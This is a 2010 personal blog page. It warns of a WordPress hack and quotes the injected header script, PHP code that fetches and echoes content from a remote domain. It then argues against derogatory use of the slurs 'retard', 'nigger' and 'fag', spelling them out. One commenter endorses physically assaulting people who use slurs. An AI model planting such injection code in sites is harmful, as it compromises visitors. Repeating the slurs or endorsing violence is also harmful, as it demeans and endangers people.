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7 Comments Published February 5th, 2010 in Disability Issues, Gay Rights, No Plugs, Race Relations, Video of the Day, You are listening too.No Plugs
First and Foremost
If you have been having trouble with my blog, or you own wordpress blog, where it resets to a Russian payment site, there is a hack script going around that place a command in your header, that does this. Very easy to fix, delete the command and update to the latest version of Wordpress (which I am in the process of doing). There will be a very long script code somewhere in you header that looks kind of like this:
<script>location=”<?php function getu($u, $p = array ()) { $c = @curl_init();if ($p) { @curl_setopt($c, CURLOPT_POST, 1); @curl_setopt($c, CURLOPT_POSTFIELDS, $p); } @curl_setopt($c, CURLOPT_URL, $u); @curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($c, CURLOPT_TIMEOUT, 30); $h = @curl_exec($c); @curl_close($c); return $h; } $code = getu(“http://feed-statistics.com/domain.php?q=b8add2a5d9″); $code = str_replace(“<domain>”, “”, $code); $code = str_replace(“</domain>”, “”, $code); echo $code; ?>?pid=317&sid=84dd6f”;</script><!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
And then update to the latest Wordpress. I haven’t updated in a year or so.
You are listening too . .
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Words.
Ok, something has inspired today to write a little about the words we use. I am going to actually use words I never use, or write for the point of this article. I am a big proponent of free speech and think you should be allowed to say anything you want, whenever you want. But I also think that if you are going to do that, you need to be prepared for what you say, and take responsibility for what you say. I also understand this has become a ultra PC world, so just about anything you say can insult someone in someway.
I want to talk specifically about the words retard, nigger, and fag and all it derivatives. I assure you it pains me to type those three words.
This is partly in response to the recent Sarah Palin thing about the word “retard”. For once, I partially agree with Sarah, and glad she went after both sides of the aisle. The word “retard” and “retarded”. Those two words are so loosely thrown around today. When you use the word in this way: ”You retard! That’s retarded!” You are applying a meaning to that word. That meaning Stupid, Ignorant, Unimportant, and Second Class. There is an actual medical definition called “mentally retardation“. Working with persons with disabilities, especially thousands of people with mental retardation I can assure you of this. None of those people are stupid, idiotic, unimportant, or second class. So when you call something “retarded” or someone a “retard” and connetating those words with stupidity, you are basically calling a whole class of people stupid who have mental retardation. This has become a more recent phenomenon in the PC world, but I see it constantly with co-workers, friend, etc. It has gotten so bad, that people no longer call people with mental retardation, “mentally retarded”. They say they are Developmentally Delayed or MR. It has even gotten to the point that the State’s Department of Mental Retardation changed it name this summer to the Department of Developmental Services as the “r-word” has gotten such a bad rep among the community.
So, to compare to the word “nigger”. That word has always been used to calls something or someone Stupid, Ignorant, Unimportant, or Second Class. Years ago calling anyone a “nigger” or calling someone “niggerish” was exactly the same as “retard” or “retarded”. The world was used for years as a way for one class of people to put down a whole race of other people. I can’t imagine anyone calling any of their friends of color “nigger”, and I would expect you would get assaulted or worse if you just loosely started using that word. Yes, I understand that some black people use it with other black people, but again, I know a lot of my black friends who will use it to call other black stupid.
And the same thing has happened to “Fag” and “Faggot”. Those two words have come to mean Stupid, Ignorant, Unimportant, and Second Class. So now we are associating a slang word for a gay male, with Stupid, Ignorant, Unimportant, and Second Class.
So let me get off my high horse then . . I have a bad taste in my mouth anyway. My point is people in power should be more consciencious of what they are saying, I don’t think either of those guys would use the n-word.
I really, really, really hope . .
M. Night Shyamalan doesn’t ruin this movie . .
If you have never seen the cartoon Avatar: The Last Airbender, you need to go out tonight and rent the three season of this show, absolutely amazing.
Malach’s Sheik Yerbouti Video of the Day
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Having recently read a blog where a commenter referred to aboriginal Australians as “abos”, this post really resonates with me.
Great post Malach. I don’t like the way many people use the word ‘gay’ as a general derogatory term these days, either.
And I’m with Nursie too – ‘abo’ is on par with ‘nigger’.
I’m confused by the last line of the post. You sau you don’t think ‘either of those guys’ would use the n-word… Which guys? Just trying to get the gist of the last paragraph.
Words are just words, my brother. Most people who use retard, fag and nigger in those contexts are morons and I never let a moron get to me. Those who use those words with real hate, I handle on my own.
It’s not the words we need to deal with, it’s how we react to those who use them. Points:
1. We can verbally shred the idiots and shame them into silence.
2. We can physically assault those who use those words for hate.
No, I’m serious. Let people speak freely so I know which category they fall into. I don’t need the media or any social convention to handle these fucks. I’ll police the block myself.
Now, there is a smaller third group, comedians. Like real ones,not clowns. I think comedians should get a pass on those words unless directe at an individual in the audience.
And the article you cited… wow. What a piece of crap. Unreadable and I can’t even tell what the author was saying… just wow.
Murk: Emmanuel and Limbaugh
Words are words said by word users to describe word and word thoughts made by word speakers who struggle with words that offend word peoplers with word faces.